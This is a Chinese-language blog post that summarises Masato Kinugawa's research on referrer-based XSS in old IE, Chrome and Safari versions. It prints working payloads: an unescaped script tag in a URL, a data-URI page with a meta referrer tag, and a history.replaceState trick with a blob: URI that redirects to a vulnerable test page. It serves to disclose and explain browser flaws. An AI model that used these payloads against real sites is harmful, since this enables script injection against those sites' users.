from:http://masatokinugawa.l0.cm/2014/06/referrer-xss-part2.html

在开始第二部分之前,先简短的介绍一下第一部分。在第一部分当中笔者(MK)提到:

#1 由于IE不会对URL中的尖括号进行escape,所以我们可以通过构造这样的页面,来实现referrer XSS

页面地址:http://l0.cm/xss_referrer.html?<script>alert("1")</script>

<script>location='//victim.com'</script>

#2对于chrome版本<33,safari6,7(更低的版本未测试)我们可以使用下面的技巧来实现referrer XSS:

data:text/html,<meta name="referrer" content="always"><script>if(location.protocol!='data:'){alert(1)}else{location.href="http://vulnerabledoma.in/location/"}</script>

这里需要注意的是,只有在加上<meta name="referrer" content="always">时,data URI才会带有referrer。

在第二部分中,笔者又给我们带来的新的技巧(确认在safari7.0.4下有效)

<meta name="referrer" content="always">
<script>
history.replaceState('','','blob:http://l0.cm/<script>alert(1)<\/script>');
location.href="http://vulnerabledoma.in/location/"
</script>

当我们通过history.replaceState在URL的最前面加上blob URI时,发现blob URI并不会对路径以后的部分进行URL编码。但是此时还无法发送referrer。所以这里就需要我们使用上一次的技巧,在页面当中加上<meta name="referrer" content="always">,由于referrer会包含的是被我们替换掉的blob URI,且blob URI不会对path之后的部分进行URL编码,所以通过这种方法就可以实现safari下的referrer XSS了。

经测试,通过history.replaceState在URL前面加blob URI的方法,在chrome下也有效(不过不能拿来XSS)。此外chrome下还发现:

javascript:history.replaceState('','','filesystem:http://masatokinugawa.l0.cm/path')

也是可以的。由于对于这种操作要求域名必须是相同的,所以暂时还没有发现会有什么安全隐患。也许这种现象都是浏览器预期的效果吧。

[原文地址]

留言评论(旧系统):

佚名 @ 2014-07-01 10:46:23

mramydnei 此牛貌似专挖XSS

本站回复: